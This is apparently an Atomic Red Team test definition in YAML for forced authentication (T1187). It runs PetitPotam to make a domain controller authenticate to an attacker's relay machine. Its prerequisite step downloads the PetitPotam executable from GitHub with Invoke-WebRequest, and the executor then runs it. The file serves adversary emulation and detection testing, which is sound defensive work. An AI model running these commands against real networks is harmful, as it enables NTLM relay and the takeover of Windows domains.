attack_technique: T1187
display_name: Forced Authentication
atomic_tests:
- name: PetitPotam
  auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213
  description: |
    This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system.
  supported_platforms:
  - windows
  input_arguments:
    captureServerIP:
      description: Computer IP to use to receive the authentication (ex. attacker machine used for NTLM relay)
      type: string
      default: 10.0.0.3
    targetServerIP:
      description: Computer IP to force authentication from (ex. domain controller)
      type: string
      default: 10.0.0.2
    efsApi:
      description: EFS API to use to coerce authentication
      type: string
      default: 1
    petitpotam_path:
      description: PetitPotam Windows executable
      type: path
      default: '$env:TEMP\PetitPotam.exe'
  dependency_executor_name: powershell
  dependencies:
  - description: |
      PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
      And the computer must be domain joined (implicit authentication).
    prereq_command: |
      if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 }
    get_prereq_command: |
      Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}"
  executor:
    name: powershell
    elevation_required: false
    command: |
      & "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
      Write-Host "End of PetitPotam attack"
